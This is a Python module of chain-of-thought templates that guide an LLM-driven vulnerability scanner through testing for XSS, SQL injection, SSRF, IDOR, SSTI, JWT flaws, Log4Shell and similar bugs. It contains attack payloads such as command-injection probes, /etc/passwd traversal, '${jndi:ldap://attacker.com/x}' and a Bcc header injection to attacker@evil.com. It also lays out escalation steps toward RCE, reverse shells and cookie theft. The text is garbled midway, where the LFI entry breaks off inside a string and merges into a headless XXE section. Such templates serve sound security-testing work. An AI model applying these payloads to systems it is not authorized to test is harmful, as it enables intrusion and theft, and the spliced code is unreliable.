"""
Structured Chain-of-Thought reasoning templates per vulnerability type.
These templates teach the LLM HOW to reason through vulnerability testing
by providing structured thinking frameworks. They don't tell the AI what
to find — they tell it how to THINK.
Each template defines:
1. Reasoning chain: Step-by-step thinking process
2. Decision criteria: When to confirm vs reject
3. Proof requirements: What constitutes valid evidence
4. Common pitfalls: Typical false positive patterns
"""
import logging
from typing import Dict, List, Optional
logger = logging.getLogger(__name__)
# ── Reasoning Template Structure ──────────────────────────────
REASONING_TEMPLATES: Dict[str, Dict] = {
# ── Injection Vulnerabilities ──────────────────────────────
"xss": {
"reasoning_chain": [
"STEP 1 - IDENTIFY REFLECTION: Find where user input appears in response HTML",
"STEP 2 - DETERMINE CONTEXT: Is reflection in HTML body, attribute, JavaScript, URL, or CSS?",
"STEP 3 - TEST ENCODING: Send <, >, \", ', &, / and check which are encoded/filtered",
"STEP 4 - CHOOSE PAYLOAD: Select context-appropriate payload that survives filters",
"STEP 5 - VERIFY EXECUTION: Confirm script actually runs (not just present in source)",
"STEP 6 - PROVE IMPACT: Demonstrate cookie theft, DOM manipulation, or event trigger"
],
"decision_criteria": {
"confirmed": "Script executes in browser context (Playwright/headless verification)",
"likely": "Payload reflected unencoded in executable context, but no browser test",
"rejected": "All special chars encoded, CSP blocks execution, or payload in comment/non-exec context"
},
"proof_requirements": [
"Payload must be in executable HTML/JS context (NOT in comment, NOT in text node that's escaped)",
"Browser execution is the gold standard (Playwright alert/DOM/cookie check)",
"If no browser test: show the exact HTML context where payload lands unencoded"
],
"common_pitfalls": [
"Payload in HTML comment is NOT executable",
"Payload URL-encoded in href is NOT XSS unless javascript: protocol",
"CSP header blocks inline scripts even if payload reflects perfectly",
"JSON response with Content-Type: application/json is NOT XSS",
"Reflected in HTTP header is NOT XSS (it's header injection)"
]
},
"xss_stored": {
"reasoning_chain": [
"STEP 1 - IDENTIFY STORAGE: Find forms/inputs that store data (comments, profiles, messages)",
"STEP 2 - SUBMIT PAYLOAD: Insert XSS payload via the storage mechanism",
"STEP 3 - FIND DISPLAY: Navigate to where stored data is rendered to OTHER users",
"STEP 4 - VERIFY PERSISTENCE: Confirm payload survives storage and retrieval",
"STEP 5 - CHECK CONTEXT: Verify payload is in executable context on display page",
"STEP 6 - BROWSER TEST: Use Playwright to confirm script execution on display page"
],
"decision_criteria": {
"confirmed": "Payload stored, retrieved, and executes when page viewed by another user",
"likely": "Payload stored and rendered unencoded, but no cross-user browser test",
"rejected": "Payload sanitized on storage, encoded on display, or not rendered to other users"
},
"proof_requirements": [
"TWO requests needed: one to STORE, one to DISPLAY/VERIFY",
"Display page must be accessible to OTHER users (not just the submitter)",
"Browser execution on the display page is required for full confirmation"
],
"common_pitfalls": [
"Input stored but HTML-encoded on display = NOT stored XSS",
"Payload visible only to submitter = self-XSS (lower severity)",
"Preview/echo of submitted data is reflected XSS, NOT stored XSS"
]
},
"sqli": {
"reasoning_chain": [
"STEP 1 - DETECT INJECTION: Test with single quote ('), double quote (\"), and sleep-based payloads",
"STEP 2 - IDENTIFY DATABASE: MySQL (@@version), PostgreSQL (version()), MSSQL (@@VERSION), Oracle (v$version)",
"STEP 3 - DETERMINE TYPE: Error-based, UNION-based, blind boolean, blind time-based, or out-of-band",
"STEP 4 - EXTRACT DATA: Use appropriate technique to retrieve database information",
"STEP 5 - PROVE DATA: Show extracted data is real DB content (not just error messages)",
"STEP 6 - ASSESS SCOPE: Can we read other tables? Other databases? File system?"
],
"decision_criteria": {
"confirmed": "Actual data extracted from database (table names, user data, version string)",
"likely": "Database error message with our injected syntax visible, but no data extraction yet",
"rejected": "WAF error page, application error (not DB error), or same error for any input"
},
"proof_requirements": [
"Error-based: DB error message must contain injected SQL fragment",
"UNION: Extracted data must be verifiable DB content (not static strings)",
"Blind: Time difference must be >3 seconds AND consistent AND not caused by payload length",
"Boolean: Two distinct responses that correlate with true/false conditions"
],
"common_pitfalls": [
"WAF blocking page is NOT a SQL error - check if ANY special char triggers it",
"Application validation error ('invalid input') is NOT SQL injection",
"Slow response might be network latency, not time-based SQLi - test with sleep(0) baseline",
"JSON syntax error != SQL error - many APIs return 400 for malformed input"
]
},
"ssrf": {
"reasoning_chain": [
"STEP 1 - IDENTIFY FETCH: Find parameters that cause server to make HTTP requests (url=, href=, src=, callback=)",
"STEP 2 - TEST EXTERNAL: Confirm server fetches our controlled URL (use Burp Collaborator/webhook.site)",
"STEP 3 - TEST INTERNAL: Attempt to reach internal services (127.0.0.1, 169.254.169.254, 10.x.x.x)",
"STEP 4 - VERIFY CONTENT: Check if response contains INTERNAL service data (not just a status code diff)",
"STEP 5 - BYPASS FILTERS: Try DNS rebinding, URL encoding, redirect chains, IPv6, alternative representations",
"STEP 6 - PROVE IMPACT: Extract cloud metadata, access internal APIs, or scan internal network"
],
"decision_criteria": {
"confirmed": "Response contains data from internal service (metadata, internal API response, internal HTML)",
"likely": "Server makes outbound request to our controlled domain (confirmed via DNS/HTTP callback)",
"rejected": "Status code change only (without content proof), or server blocks all internal requests"
},
"proof_requirements": [
"CRITICAL: Status code change alone is NEVER sufficient for SSRF",
"Must show content from internal service (AWS metadata, internal page HTML, etc.)",
"Or must show outbound request to attacker-controlled server (DNS/HTTP callback)",
"Negative control: verify the URL parameter actually triggers server-side fetching"
],
"common_pitfalls": [
"Status 403→200 change can be application routing, NOT SSRF",
"Same response body with different status code = NOT SSRF",
"Application might validate URL format but still block internal IPs",
"Redirect from external to internal might be blocked by follow-redirect settings"
]
},
"idor": {
"reasoning_chain": [
"STEP 1 - IDENTIFY OBJECTS: Find endpoints with user-specific object IDs (/api/users/42, /orders/123)",
"STEP 2 - TEST ACCESS: Change the ID to another user's ID while keeping your auth token",
"STEP 3 - COMPARE DATA: Is the response DATA different from your own? (not just HTTP status)",
"STEP 4 - VERIFY OWNERSHIP: Confirm the returned data belongs to ANOTHER user (different name/email/etc)",
"STEP 5 - TEST OPERATIONS: Can you modify/delete other users' objects? (PUT/DELETE with other IDs)",
"STEP 6 - PROVE IMPACT: Show specific PII or sensitive data from another user's account"
],
"decision_criteria": {
"confirmed": "Retrieved/modified another user's specific data (different name, email, profile info)",
"likely": "Different response for different IDs, but can't verify data ownership",
"rejected": "Server ignores ID (returns your own data), or returns 403/404 for other IDs"
},
"proof_requirements": [
"MUST compare DATA CONTENT between your ID and other ID",
"Different response ≠ IDOR. Must show DATA belongs to DIFFERENT user",
"If server returns 200 for all IDs but same data = NOT IDOR (server ignores parameter)",
"Best proof: show two responses with different user-identifying fields (name, email)"
],
"common_pitfalls": [
"API returns 200 for all IDs but always returns YOUR profile = NOT IDOR",
"Public data endpoints (e.g., public profiles) are not IDOR",
"UUID/GUID IDs make enumeration impractical (mention this in report)",
"Sequential scan returning empty objects for non-existent IDs = NOT IDOR"
]
},
"command_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY EXECUTION: Find parameters passed to OS commands (ping, nslookup, file operations)",
"STEP 2 - TEST OPERATORS: Try ;, |, ||, &&, `, $(), newline after the parameter value",
"STEP 3 - CONFIRM EXECUTION: Use time-based detection (;sleep 5;) or output-based (;id;)",
"STEP 4 - READ OUTPUT: Check if command output appears in response",
"STEP 5 - ESCALATE: Try reading /etc/passwd, environment variables, or reverse shell",
"STEP 6 - PROVE: Show OS command output that could not come from application logic"
],
"decision_criteria": {
"confirmed": "OS command output visible in response (uid=, /etc/passwd content, env vars)",
"likely": "Consistent time delay with sleep commands (>3 sec diff from baseline)",
"rejected": "No output, no time delay, or application error instead of command execution"
},
"proof_requirements": [
"Output must be from OS command (not application-generated)",
"Time-based: sleep(N) must produce exactly N seconds delay, and sleep(0) must NOT",
"OOB: DNS/HTTP callback from target server confirms execution"
],
"common_pitfalls": [
"Application timeout ≠ sleep-based command injection",
"Error message containing command text ≠ command execution",
"Blacklisted characters might block some operators but not others - try all"
]
},
"ssti": {
"reasoning_chain": [
"STEP 1 - DETECT TEMPLATE: Inject {{7*7}} or ${7*7} or #{7*7} and check for '49' in response",
"STEP 2 - IDENTIFY ENGINE: Jinja2 ({{config}}), Twig ({{_self.env}}), Freemarker, Velocity, Pug, EJS",
"STEP 3 - CONFIRM ENGINE: Use engine-specific syntax to verify (e.g., {{config.items()}} for Jinja2)",
"STEP 4 - ESCALATE TO RCE: Use engine-specific payload chain to achieve code execution",
"STEP 5 - EXECUTE COMMAND: Run OS command through template engine",
"STEP 6 - PROVE RCE: Show OS command output (id, whoami, hostname)"
],
"decision_criteria": {
"confirmed": "Arithmetic evaluated (7*7=49) AND code execution achieved",
"likely": "Arithmetic evaluated but RCE not yet achieved (sandbox or restrictions)",
"rejected": "Template syntax returned literally (no evaluation), or math done client-side"
},
"proof_requirements": [
"49 must appear where {{7*7}} was injected (not elsewhere in page)",
"For RCE: OS command output must be shown in response",
"Distinguish from client-side template (Angular, Vue) which is NOT SSTI"
],
"common_pitfalls": [
"Client-side template engines (Angular {{7*7}}) evaluate in browser = NOT SSTI",
"Calculator feature that evaluates math is NOT SSTI",
"Some WAFs block {{ but allow {%...%} or other syntax variations"
]
},
"lfi": {
"reasoning_chain": [
"STEP 1 - IDENTIFY INCLUDES: Find parameters loading files (page=, file=, template=, include=)",
"STEP 2 - TEST TRAVERSAL: Try ../../../etc/passwd or ....//....//etc/passwd",
"STEP 3 - VERIFY FILE CONTENT: Response must contain actual file content (root:x:0:0: for /etc/passwd)",
"STEP 4 - BYPASS FILTERS: Try null bytes (%00), double encoding, PHP wrappers (php://filter)",
"STEP 5 - READ SENSITIVE FILES: Application config, .env, database.php, web.config",
"STEP 6 - ESCALATE: Try log poisoning, /proc/self/environ, PHP wrappers for RCE"
],
"decision_criteria": {
"confirmed": "Actual file content returned (recognizable /etc/passwd format, config values, source code)",
"likely": "Error message reveals file system path but no content read",
"rejected": "Application returns 404/error, or path is resolved without traversal"
},
"proof_requirements": [
"File content must be recognizable (not just different response length)",
"/etc/passwd: must see root:x:0:0 format lines",
"Source code: must see actual code syntax (]>&xxe;",
"STEP 3 - CHECK RESPONSE: Does entity value appear in response? (file content or error with path)",
"STEP 4 - READ FILES: Try /etc/passwd, application config files",
"STEP 5 - TEST OOB: If no direct output, try out-of-band (XXE to external DTD with data exfil)",
"STEP 6 - PROVE: Show file content extracted via XML entity expansion"
],
"decision_criteria": {
"confirmed": "File content extracted via entity (hostname, /etc/passwd content visible)",
"likely": "XML parser error reveals file path or entity processing",
"rejected": "XML rejected, entities disabled, or no entity processing observed"
},
"proof_requirements": [
"Entity must resolve to actual file content (not just be parsed)",
"OOB: DNS/HTTP callback with data confirms blind XXE",
"Error-based: XML error must show file content in error message"
],
"common_pitfalls": [
"Modern XML parsers disable external entities by default",
"JSON endpoints with XML Content-Type might not parse XML at all",
"SVG/DOCX XXE requires file upload, not direct injection"
]
},
"csrf": {
"reasoning_chain": [
"STEP 1 - IDENTIFY STATE-CHANGING: Find forms/requests that modify data (password change, email update, transfer)",
"STEP 2 - CHECK TOKENS: Does the form have a CSRF token? Is it validated server-side?",
"STEP 3 - TEST WITHOUT TOKEN: Remove CSRF token from request - does it still succeed?",
"STEP 4 - TEST CROSS-ORIGIN: Can the request be triggered from a different domain?",
"STEP 5 - CHECK HEADERS: Is Origin/Referer validated? SameSite cookie attribute?",
"STEP 6 - BUILD POC: Create HTML page on attacker domain that submits the form automatically"
],
"decision_criteria": {
"confirmed": "State-changing action succeeds without CSRF token from cross-origin context",
"likely": "No CSRF token present but cross-origin test not performed",
"rejected": "CSRF token required and validated, or SameSite=Strict cookies block cross-origin"
},
"proof_requirements": [
"Must demonstrate the ACTION succeeds (not just that request goes through)",
"Cross-origin context required (different domain, not same-site)",
"Show the state change actually occurred (password changed, email updated)"
],
"common_pitfalls": [
"GET requests with no state change are NOT CSRF",
"SameSite=Lax cookies block cross-site POST (modern browsers)",
"API endpoints with Bearer token auth are NOT vulnerable to CSRF"
]
},
"open_redirect": {
"reasoning_chain": [
"STEP 1 - IDENTIFY REDIRECTS: Find parameters controlling redirects (redirect=, url=, next=, return=, goto=)",
"STEP 2 - TEST EXTERNAL: Set redirect to https://evil.com - does browser redirect there?",
"STEP 3 - CHECK LOCATION: Verify Location header contains attacker URL (not just 302 status)",
"STEP 4 - BYPASS FILTERS: Try //evil.com, /\\evil.com, evil.com%23@trusted.com",
"STEP 5 - VERIFY NAVIGATION: Browser must actually navigate to attacker's domain",
"STEP 6 - ASSESS IMPACT: Can be chained with OAuth for token theft"
],
"decision_criteria": {
"confirmed": "Location header points to attacker-controlled external domain",
"likely": "Redirect to external domain but with some restrictions (only specific paths)",
"rejected": "Server validates redirect target, only allows same-domain redirects"
},
"proof_requirements": [
"Location header in 3xx response must contain attacker URL",
"Must redirect to EXTERNAL domain (internal redirects are usually by design)",
"Meta refresh or JavaScript redirect counts if no header-based redirect"
],
"common_pitfalls": [
"Redirect to same domain is usually intended functionality",
"Login redirect to /dashboard after auth is NOT open redirect",
"Some apps return 200 with redirect URL in body but don't actually redirect"
]
},
"nosql_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY NOSQL: Find JSON/BSON endpoints likely using MongoDB, CouchDB, etc.",
"STEP 2 - TEST OPERATORS: Inject {\"$gt\": \"\"}, {\"$ne\": null}, {\"$regex\": \".*\"}",
"STEP 3 - OBSERVE BEHAVIOR: Does query operator change the results returned?",
"STEP 4 - EXTRACT DATA: Use $regex for character-by-character data extraction",
"STEP 5 - COMPARE RESPONSES: $gt:'' should return more results than exact match",
"STEP 6 - PROVE: Show data extraction that bypasses intended query logic"
],
"decision_criteria": {
"confirmed": "Query operators accepted and change results (e.g., $ne:null returns all records)",
"likely": "Different response with operator injection but data not yet extracted",
"rejected": "Operators treated as literal strings, or input validated before query"
},
"proof_requirements": [
"Must show the operator changes query behavior (not just different response)",
"Best: extract data that shouldn't be accessible (other users' records)",
"Boolean: {\"$gt\":\"\"} returns different count than exact match"
],
"common_pitfalls": [
"JSON parse error ≠ NoSQL injection (just malformed JSON)",
"MongoDB driver sanitization might prevent operator injection",
"Content-Type must be application/json for JSON body injection"
]
},
# ── Access Control ─────────────────────────────────────────
"bola": {
"reasoning_chain": [
"STEP 1 - MAP OBJECTS: Identify all endpoints with object IDs in URL/params",
"STEP 2 - DETERMINE OWNERSHIP: Which objects belong to which users?",
"STEP 3 - CROSS-ACCESS: Use User A's token to access User B's objects",
"STEP 4 - COMPARE DATA: Response data must belong to User B (different from User A's data)",
"STEP 5 - TEST OPERATIONS: Try CRUD operations on other users' objects",
"STEP 6 - PROVE: Show specific data fields that identify the object as belonging to another user"
],
"decision_criteria": {
"confirmed": "Accessed another user's specific object with data proving different ownership",
"likely": "Different response for different IDs but can't verify ownership",
"rejected": "Access denied, same data returned (server ignores ID), or public data"
},
"proof_requirements": [
"DATA COMPARISON is mandatory - show fields that differ between users",
"200 status alone is NOT proof - must compare content",
"If only one user available: compare known user data vs accessed data"
],
"common_pitfalls": [
"API returning your own data for any ID = NOT BOLA",
"Public endpoints (GET /products/1) are not access control violations",
"Rate limiting or ID format validation ≠ access control"
]
},
"bfla": {
"reasoning_chain": [
"STEP 1 - MAP FUNCTIONS: Identify admin/privileged endpoints and regular user endpoints",
"STEP 2 - TEST PRIVILEGE: Access admin endpoint with regular user token",
"STEP 3 - COMPARE RESPONSES: Does regular user get admin functionality?",
"STEP 4 - VERIFY EXECUTION: Did the admin action actually execute? (not just 200 status)",
"STEP 5 - CHECK BOTH DIRECTIONS: Test user→admin AND admin→other-admin roles",
"STEP 6 - PROVE: Show admin action result that shouldn't be available to regular user"
],
"decision_criteria": {
"confirmed": "Regular user successfully executed admin function with verifiable result",
"likely": "Admin endpoint returns 200 to regular user but can't verify action executed",
"rejected": "403/401 returned, or 200 but action didn't actually execute"
},
"proof_requirements": [
"MUST verify the privileged action was actually executed (not just status 200)",
"Compare response DATA between admin and regular user",
"Show the state change caused by the unauthorized action"
],
"common_pitfalls": [
"200 status with empty body or error message = NOT BFLA",
"Generic error page returning 200 = NOT BFLA",
"Documentation endpoints accessible to all users are usually intended"
]
},
"privilege_escalation": {
"reasoning_chain": [
"STEP 1 - MAP ROLES: Identify different user roles (user, admin, moderator, etc.)",
"STEP 2 - FIND ROLE PARAMETER: Look for role/permission fields in registration, profile update, JWT",
"STEP 3 - MODIFY ROLE: Try changing role parameter (role=admin, isAdmin=true, permission=*)",
"STEP 4 - VERIFY ESCALATION: Does the user now have elevated privileges?",
"STEP 5 - TEST ACCESS: Try accessing admin endpoints with escalated role",
"STEP 6 - PROVE: Show admin functionality accessible after role modification"
],
"decision_criteria": {
"confirmed": "User gained elevated privileges and accessed admin-only functionality",
"likely": "Role parameter accepted but can't verify privilege change",
"rejected": "Role parameter ignored or overridden server-side"
},
"proof_requirements": [
"Must show BEFORE and AFTER comparison of user capabilities",
"Admin endpoint access after escalation proves the issue",
"JWT role claim change must result in actual access change"
],
"common_pitfalls": [
"Role in JWT not validated server-side = important to test",
"Frontend hiding admin UI ≠ backend enforcing access control",
"Self-assigned role that's ignored by backend = NOT privilege escalation"
]
},
# ── Infrastructure ─────────────────────────────────────────
"cors_misconfiguration": {
"reasoning_chain": [
"STEP 1 - TEST ORIGIN: Send Origin: https://evil.com header, check Access-Control-Allow-Origin",
"STEP 2 - CHECK CREDENTIALS: Is Access-Control-Allow-Credentials: true returned?",
"STEP 3 - TEST REFLECTION: Does ACAO reflect any origin, or specific patterns?",
"STEP 4 - TEST NULL: Does Origin: null get allowed? (used in sandboxed iframes)",
"STEP 5 - VERIFY IMPACT: Can cross-origin JS read authenticated response data?",
"STEP 6 - PROVE: Show a cross-origin page that reads authenticated data from the target"
],
"decision_criteria": {
"confirmed": "ACAO reflects attacker origin WITH Allow-Credentials:true on authenticated endpoint",
"likely": "ACAO reflects arbitrary origin but no credentials header",
"rejected": "ACAO is fixed value or null, or no credentials allowed"
},
"proof_requirements": [
"Both ACAO: attacker-origin AND Allow-Credentials: true needed for high severity",
"Must be on endpoint that returns sensitive data when authenticated",
"ACAO: * with Allow-Credentials is actually blocked by browsers (spec violation)"
],
"common_pitfalls": [
"ACAO: * alone is low severity (no cookies sent)",
"CORS on public API without auth is usually intended",
"Preflight (OPTIONS) CORS headers don't mean data is accessible"
]
},
"jwt_vulnerabilities": {
"reasoning_chain": [
"STEP 1 - DECODE JWT: Base64 decode header and payload, identify algorithm",
"STEP 2 - TEST NONE ALGORITHM: Set alg=none, remove signature",
"STEP 3 - TEST ALGORITHM CONFUSION: If RS256, try changing to HS256 with public key as secret",
"STEP 4 - TEST WEAK SECRET: Try common secrets (secret, password, key123) with HS256",
"STEP 5 - MODIFY CLAIMS: Change user ID, role, or expiration in payload",
"STEP 6 - PROVE: Show modified JWT accepted by server with elevated access"
],
"decision_criteria": {
"confirmed": "Modified JWT (different user/role) accepted and returns different user's data",
"likely": "None algorithm accepted (200 response) but can't verify claim changes take effect",
"rejected": "Server validates signature properly, rejects modified tokens"
},
"proof_requirements": [
"Modified JWT must result in DIFFERENT server behavior (not just 200)",
"For none alg: must show server processes claims from unsigned token",
"For weak secret: must show signed token with modified claims is accepted"
],
"common_pitfalls": [
"JWT expiration error ≠ JWT vulnerability",
"Refreshed JWT with same claims ≠ algorithm bypass",
"Some servers accept expired tokens for non-critical endpoints (by design)"
]
},
"race_condition": {
"reasoning_chain": [
"STEP 1 - IDENTIFY TARGETS: Find operations where timing matters (transfers, redemptions, votes, signups)",
"STEP 2 - PREPARE REQUESTS: Craft identical requests for the racy operation",
"STEP 3 - SEND SIMULTANEOUSLY: Send N requests in parallel (within same TCP connection if possible)",
"STEP 4 - CHECK RESULTS: Did the operation execute more times than allowed?",
"STEP 5 - VERIFY STATE: Check account balance, coupon usage count, vote count",
"STEP 6 - PROVE: Show the state inconsistency (balance changed by 2x, coupon used twice)"
],
"decision_criteria": {
"confirmed": "Operation executed more times than should be possible (state inconsistency verified)",
"likely": "Multiple 200 responses for single-use operation, but can't verify state",
"rejected": "Server properly serializes requests, only first succeeds"
},
"proof_requirements": [
"Must show STATE CHANGE that shouldn't happen (balance, count, etc.)",
"Multiple success responses alone are not sufficient (might be idempotent)",
"Before/after comparison of affected resource is required"
],
"common_pitfalls": [
"Multiple 200 responses might be idempotent (same result, no double execution)",
"Network jitter might prevent true concurrent arrival",
"Some race conditions only trigger under specific server load"
]
},
"deserialization": {
"reasoning_chain": [
"STEP 1 - IDENTIFY SERIALIZED DATA: Find base64, Java serialized (rO0AB, aced0005), pickle, JSON with class hints",
"STEP 2 - DECODE FORMAT: Determine serialization format (Java, PHP, Python pickle, .NET)",
"STEP 3 - CRAFT PAYLOAD: Generate deserialization gadget chain for the target framework",
"STEP 4 - INJECT PAYLOAD: Replace serialized data with malicious payload",
"STEP 5 - CHECK EXECUTION: Look for command output, DNS callback, or time delay",
"STEP 6 - PROVE: Show command execution via deserialization (ysoserial, pickle.loads, etc.)"
],
"decision_criteria": {
"confirmed": "Gadget chain executed, OS command output or OOB callback received",
"likely": "Deserialization error reveals class loading (potential gadget chain exists)",
"rejected": "Input not deserialized, or no gadget chains available in classpath"
},
"proof_requirements": [
"Must show code execution or OOB callback from deserialization",
"Class loading errors with attacker-specified class names indicate processing",
"For Java: ysoserial-generated payload accepted AND triggers action"
],
"common_pitfalls": [
"Base64 data ≠ serialized object (might be just encoded text)",
"Custom serialization format might not have known gadget chains",
"WAF might block known gadget chain signatures"
]
},
# ── Advanced Injection ─────────────────────────────────────
"ldap_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY LDAP: Find login forms, directory search, user lookup endpoints",
"STEP 2 - TEST METACHARACTERS: Inject *, (, ), \\, NUL byte in parameters",
"STEP 3 - TEST ALWAYS-TRUE: Try *)(&, *)(|(&, )(cn=*) to bypass filters",
"STEP 4 - OBSERVE CHANGES: Does wildcard return more users than exact match?",
"STEP 5 - EXTRACT DATA: Enumerate users/attributes via boolean conditions",
"STEP 6 - PROVE: Show directory data extraction or authentication bypass"
],
"decision_criteria": {
"confirmed": "LDAP query manipulated: wildcard returns extra records or auth bypassed with injection",
"likely": "Different response count with LDAP metacharacters vs normal input",
"rejected": "Input sanitized, LDAP errors not triggered, same response for all"
},
"proof_requirements": [
"Must show query manipulation changes returned data (not just error)",
"Auth bypass: login succeeded with injected payload, not valid creds",
"Data extraction: show records returned that shouldn't be accessible"
],
"common_pitfalls": [
"LDAP error page ≠ LDAP injection (just malformed query)",
"Application might use parameterized LDAP queries (safe)",
"Wildcard in search field might be intended functionality"
]
},
"xpath_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY XML QUERIES: Find parameters querying XML data (search, filter, lookup)",
"STEP 2 - TEST OPERATORS: Inject ' or 1=1 or '', ] | //* | [, boolean conditions",
"STEP 3 - TEST ALWAYS-TRUE: ' or '1'='1 should return all records",
"STEP 4 - EXTRACT NODES: Use //* or position() to enumerate XML structure",
"STEP 5 - COMPARE COUNTS: True condition returns more results than false",
"STEP 6 - PROVE: Show XML data extraction beyond intended scope"
],
"decision_criteria": {
"confirmed": "XPath query manipulated to extract XML data outside intended scope",
"likely": "Boolean conditions change response (true vs false), but no data extracted",
"rejected": "Input sanitized, XML errors not exploitable, no behavioral difference"
},
"proof_requirements": [
"True condition (1=1) must return different results than false condition (1=2)",
"Extracted data must come from XML backend (not just error messages)",
"Show specific XML nodes or attributes retrieved"
],
"common_pitfalls": [
"XML parse error ≠ XPath injection",
"Numeric parameter changes might be normal filtering",
"Some XPath implementations limit accessible nodes"
]
},
"graphql_injection": {
"reasoning_chain": [
"STEP 1 - FIND GRAPHQL: Detect /graphql, /gql, /query endpoints",
"STEP 2 - TEST INTROSPECTION: Send __schema query to map types and fields",
"STEP 3 - MAP MUTATIONS: Find state-changing mutations (create, update, delete)",
"STEP 4 - TEST AUTH: Can you access queries/mutations meant for other roles?",
"STEP 5 - TEST INJECTION: Inject SQL/NoSQL in GraphQL arguments",
"STEP 6 - PROVE: Show unauthorized data access or injection through GraphQL"
],
"decision_criteria": {
"confirmed": "Accessed unauthorized data or injected through GraphQL arguments",
"likely": "Introspection reveals sensitive types but can't access them yet",
"rejected": "All queries properly authorized, introspection disabled, input validated"
},
"proof_requirements": [
"Show specific data retrieved that user shouldn't have access to",
"Introspection alone is low severity - must show impact beyond schema discovery",
"For injection: prove the GraphQL argument reaches backend query unsanitized"
],
"common_pitfalls": [
"GraphQL introspection alone is informational, not critical",
"Aliases for DoS != injection vulnerability",
"Public queries returning public data is not a vulnerability"
]
},
"crlf_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY HEADER REFLECTION: Find params reflected in HTTP response headers",
"STEP 2 - INJECT CRLF: Send %0d%0a (\\r\\n) in parameter value",
"STEP 3 - CHECK HEADERS: Does injected CRLF create a new response header?",
"STEP 4 - TEST XSS VIA HEADERS: Inject CRLF + Content-Type: text/html + body",
"STEP 5 - TEST SESSION FIXATION: Inject Set-Cookie header via CRLF",
"STEP 6 - PROVE: Show custom header injection or response splitting"
],
"decision_criteria": {
"confirmed": "Injected CRLF creates new header visible in response (Set-Cookie, Location, etc.)",
"likely": "CRLF characters not filtered but can't verify header creation",
"rejected": "CRLF encoded/stripped, header not split, modern framework prevents it"
},
"proof_requirements": [
"Must show actual new header line in HTTP response (not just URL parameter)",
"Response must contain attacker-controlled header after CRLF",
"For response splitting: show two separate HTTP responses"
],
"common_pitfalls": [
"URL-encoded CRLF in URL bar doesn't mean server processes it",
"Most modern frameworks strip CRLF from header values automatically",
"CRLF in response body is NOT CRLF injection"
]
},
"header_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY REFLECTION: Find input reflected in HTTP response headers",
"STEP 2 - TEST HOST HEADER: Send modified Host header, check response Location/links",
"STEP 3 - TEST X-FORWARDED: Inject X-Forwarded-Host, X-Forwarded-For, X-Original-URL",
"STEP 4 - CHECK IMPACT: Does injected header affect password reset links, cache, routing?",
"STEP 5 - TEST CACHE POISONING: Can poisoned header be cached and served to others?",
"STEP 6 - PROVE: Show password reset poisoning, cache poisoning, or routing bypass"
],
"decision_criteria": {
"confirmed": "Injected header value appears in password reset link, cached response, or routing decision",
"likely": "Header value reflected but impact not demonstrated",
"rejected": "Headers validated, ignored, or not reflected in any meaningful context"
},
"proof_requirements": [
"For Host header injection: show poisoned URL in password reset email/link",
"For cache poisoning: show cached response with injected content",
"For routing bypass: show access to restricted endpoint via X-Original-URL"
],
"common_pitfalls": [
"Different server response for different Host value = routing, not necessarily injection",
"X-Forwarded-For accepted for logging ≠ security vulnerability",
"Must distinguish between header processing and header injection impact"
]
},
"email_injection": {
"reasoning_chain": [
"STEP 1 - FIND EMAIL FORMS: Locate contact forms, invite, share, password reset forms",
"STEP 2 - TEST HEADER INJECTION: Inject \\r\\nBcc: attacker@evil.com in email fields",
"STEP 3 - TEST CC/BCC: Add Cc: or Bcc: headers via newline injection",
"STEP 4 - TEST BODY MANIPULATION: Inject email body content or attachments",
"STEP 5 - VERIFY DELIVERY: Check if injected recipients receive the email",
"STEP 6 - PROVE: Show email sent to unintended recipients via injection"
],
"decision_criteria": {
"confirmed": "Email received by injected Bcc/Cc address, or email content manipulated",
"likely": "Newlines not stripped in email fields but delivery not confirmed",
"rejected": "Input sanitized, headers not injectable, email sending fails"
},
"proof_requirements": [
"Best proof: received email at attacker-controlled address via injection",
"Alternative: server response confirms email sent with injected headers",
"Must show injection in SMTP headers, not just form field acceptance"
],
"common_pitfalls": [
"Form accepting special characters ≠ email injection (backend may sanitize)",
"Modern email libraries parameterize headers (safe by default)",
"SMTP relay restrictions may prevent delivery even if headers injected"
]
},
"expression_language_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY EL: Find Java EE apps using JSP/JSF (${...} or #{...} syntax)",
"STEP 2 - TEST EVALUATION: Inject ${7*7} or #{7*7}, look for '49' in response",
"STEP 3 - FINGERPRINT ENGINE: Test JSP EL (${...}), JSF (#{...}), Spring SpEL (${...})",
"STEP 4 - ESCALATE: Use engine-specific RCE chains (Runtime.exec, ProcessBuilder)",
"STEP 5 - EXECUTE COMMAND: Achieve OS command execution via EL evaluation",
"STEP 6 - PROVE: Show OS command output from EL injection"
],
"decision_criteria": {
"confirmed": "EL expression evaluated server-side: arithmetic result or command output visible",
"likely": "Arithmetic evaluated but RCE not achieved (sandbox/restrictions)",
"rejected": "EL syntax returned literally, or client-side template evaluation"
},
"proof_requirements": [
"Server-side evaluation: ${7*7} → 49 in response (not client-side JS)",
"Must distinguish from SSTI (EL injection is Java-specific)",
"For RCE: show OS command output that couldn't come from application logic"
],
"common_pitfalls": [
"Client-side ${...} in JavaScript frameworks is NOT EL injection",
"Modern Java EE containers restrict EL method access by default",
"Spring Security may block certain EL patterns"
]
},
"log_injection": {
"reasoning_chain": [
"STEP 1 - IDENTIFY LOGGING: Find parameters likely logged (usernames, search queries, User-Agent)",
"STEP 2 - INJECT NEWLINES: Send \\n, \\r\\n, %0a, %0d%0a in parameters",
"STEP 3 - FORGE LOG ENTRIES: Craft fake log entries matching log format",
"STEP 4 - TEST LOG4J: If Java, test ${jndi:ldap://attacker.com/x} (Log4Shell)",
"STEP 5 - CHECK IMPACT: Can forged entries trigger alerts, hide attacks, or achieve RCE?",
"STEP 6 - PROVE: Show forged log entry or JNDI callback received"
],
"decision_criteria": {
"confirmed": "JNDI callback received (Log4Shell), or demonstrable log forging visible in logs",
"likely": "Newlines accepted in logged parameters but can't view logs",
"rejected": "Input sanitized before logging, or no JNDI callback received"
},
"proof_requirements": [
"Log4Shell: DNS/LDAP callback from target server confirms JNDI evaluation",
"Log forging: ideally show the forged log entry (requires log access)",
"Without log access: response timing with JNDI can indicate processing"
],
"common_pitfalls": [
"Most log injection requires LOG ACCESS to verify (often not available in black-box)",
"Log4j patched in most modern systems (2.17.1+)",
"Newline in parameter doesn't guarantee log injection (backend may sanitize)"
